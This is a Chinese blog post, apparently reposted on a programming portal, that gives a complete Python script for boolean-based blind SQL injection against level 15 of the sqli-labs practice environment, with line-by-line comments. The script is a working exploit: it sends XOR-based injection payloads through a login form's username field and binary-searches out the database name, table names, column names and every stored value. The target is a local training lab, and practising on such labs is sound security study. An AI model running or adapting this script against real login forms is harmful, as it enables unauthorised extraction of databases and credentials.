IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> sqli-labs的第15关的布尔脚本(附代码分析) -> 正文阅读

[Python知识库]sqli-labs的第15关的布尔脚本(附代码分析)

sqli-labs的第15关布尔盲注脚本

因为最近在复习python,所以找个项目练练手,本人是个菜鸡,代码哪里有问题欢迎大佬指出

import requests  
import time  
  
host = "http://127.0.0.1/sqli-labs/Less-15/"  
  
  
def getDatabase():  # 获取数据库名  
    global host  
    ans = ''  
    # 最外面的循环是数据库名的字符长度,就是从第几个字符开始  
    for i in range(1, 1000):  
        # ascii码常用字符是32-127  
        low = 32  
        high = 128  
        mid = (low + high) // 2  
        while low < high:  
            # 若是过滤了空格可以采用异或注入法绕过,这里的payload视情况而改  
            payload = "1'^(ascii(substr((database()),%d,1))<%d)^1#" % (i, mid)  
            # post传参的参数  
            param = {"uname": payload, "passwd": "admin"}  
            res = requests.post(host, data=param)  
            # 若是返回不正确就将mid赋值给high,high值一直往左边移动直到high值到最左边,也就是等于low值时退出while循环  
            # 运用该payload会一直返回正确的页面,直到mid等于正确的数值  
            if "flag" not in res.text:  
                high = mid  
            # 若是匹配到正确页面返回的字符,low值就向右移动直到low值和high值重合  
            else:  
                low = mid + 1  
            mid = (low + high) // 2  
        # 判断当一个字符都没有匹配到时就退出循环,也就是mid一直在变小或者变大  
        # 经过测试发现mid可用最小到32,最大到127,也就是一个字符也匹配不到  
        if mid <= 32 or mid >= 127:  
            # break直接跳出来最外面的for循环  
            break  
        # 因为这里如果匹配到正确的字符就返回low = mid +1  
        # 然后到了最后退出while循环时,high = low ,这时的low是正确时的mid+1  
        # 所以现在的mid - 1就是当时正确时的数值  
        ans += chr(mid - 1)  
    print("database is -> " + ans)  
    print('\n\n\n')  
  
  
def getTables():  # 获取数据表名  
    global host  
    tables = []  
    ans = ''  
    # 最外面的循环是表名的字符长度,就是从第几个字符开始  
    for i in range(1, 1000):  
        # ascii码常用字符是32-127  
        low = 32  
        high = 128  
        mid = (low + high) // 2  
        while low < high:  
            # 若是过滤了空格可以采用异或注入法绕过  
            payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1#" % (  
                i, mid)  
  
            param = {"uname": payload, "passwd": "admin"}  
            res = requests.post(host, data=param)  
            # 若是返回不正确就将mid赋值给high,high值一直往左边移动直到high值到最左边,也就是等于low值时退出while循环  
            # 运用该payload会一直返回正确的页面,直到mid等于正确的数值  
            if "flag" not in res.text:  
                high = mid  
            # 若是匹配到正确页面返回的字符,low值就向右移动直到low值和high值重合  
            else:  
                low = mid + 1  
            mid = (low + high) // 2  
        # 判断当一个字符都没有匹配到时就退出循环,也就是mid一直在变小或者变大  
        # 经过测试发现mid可用最小到32,最大到127,也就是一个字符也匹配不到  
        if mid <= 32 or mid >= 127:  
            # break直接跳出来最外面的for循环  
            break  
        # 因为这里如果匹配到正确的字符就返回low = mid +1  
        # 然后到了最后退出while循环时,high = low ,这时的low是正确时的mid+1  
        # 所以现在的mid - 1就是当时正确时的数值  
        ans += chr(mid - 1)  
    print("tables is -> " + ans)  
    print('\n\n\n')  
    # 使用split方法,将以逗号分隔的字符串转化成列表  
    tables = ans.split(',')  
    # 返回列表,方便下一个函数调用  
    return tables  
  
  
def getColumn(tables):  # 获取列名  
    # 定义全局变量,方便在函数体中更改变量的值,虽然没改变  
    global host  
    dict = {}  
    ans = ''  
    # 最外面的循环是遍历所有的表名  
    for table in tables:  
        # 这里同上面的注释  
        for i in range(1, 1000):  
            low = 32  
            high = 128  
            mid = (low + high) // 2  
            while low < high:  
                payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='%s')),%d,1))<%d)^1#" % (  
                    table, i, mid)  
                param = {"uname": payload, "passwd": "admin"}  
                res = requests.post(host, data=param)  
  
                if "flag" not in res.text:  
                    high = mid  
                else:  
                    low = mid + 1  
                mid = (low + high) // 2  
            if mid <= 32 or mid >= 127:  
                break  
            # 因为这里如果匹配到正确的字符就返回low = mid +1  
            # 然后到了最后退出while循环时,high = low ,这时的low是正确时的mid+1  
            # 所以现在的mid - 1就是当时正确时的数值  
            ans += chr(mid - 1)  
        # 使用字典,将表名和字段名对应存储,方便下面打印显示,这里的字段名是以列表的形式存储到字典中  
        dict.setdefault(table, []).append(ans)  
        # 将ans重新归0,重新变为另一张表的所有字段  
        ans = ''  
    # 这里遍历字典中的表名和其中的字段值  
    for table, value in dict.items():  
        # 定义一个值来显示是第几个字段,每遍历完一个表名的所有字段就将m变成1  
        m = 1  
        for s in value:  
            # 这里返回一个字段列表,用split函数将字符串转为列表  
            column = s.split(',')  
            print('\n\n\n')  
            print('-------------' + "%s表的字段开始爆破" % table + '-------------')  
            # 这里是返回列表中的每一个值  
            for i in column:  
                print("%s表的第%d个子段是" % (table, m) + i)  
                m += 1  
    return dict  
  
  
def tableDump(dict):  
    global host  
    ans = ''  
    for table, value in dict.items():  
        for s in value:  
            column = s.split(',')  
            print('--------开始爆%s表值--------' % table)  
            for c in column:  
                for i in range(1, 10000):  
                    low = 32  
                    high = 128  
                    mid = (low + high) // 2  
                    while low < high:  
                        #   url = host + "id=1^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1" % (i,mid)  
                        #  res = requests.get(url)                        payload = "1'^(ascii(substr((select(group_concat(%s))from(%s)),%d,1))<%d)^1#" % (  
                        c, table, i, mid)  
                        param = {"uname": payload, "passwd": "admin"}  
                        res = requests.post(url=host, data=param)  
                        if "flag" not in res.text:  
                            high = mid  
                        else:  
                            low = mid + 1  
                        mid = (low + high) // 2  
                    if mid <= 32 or mid >= 127:  
                        break  
                    # 因为这里如果匹配到正确的字符就返回low = mid +1  
                    # 然后到了最后退出while循环时,high = low ,这时的low是正确时的mid+1  
                    # 所以现在的mid - 1就是当时正确时的数值  
                    ans += chr(mid - 1)  
                print("表名:%s   字段名:%s  值是:%s" % (table, c, ans))  
                ans = ''  
  
  
if __name__ == '__main__':  
    start = time.time()  
    getDatabase()  
    tables = getTables()  
    dict = getColumn(tables)  
    tableDump(dict)  
    end = time.time()  
    print("总共花费时间" + str(end - start) + "  s")

运行结果如下:
在这里插入图片描述

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-05-05 11:14:27  更:2022-05-05 11:16:37 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 16:56:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码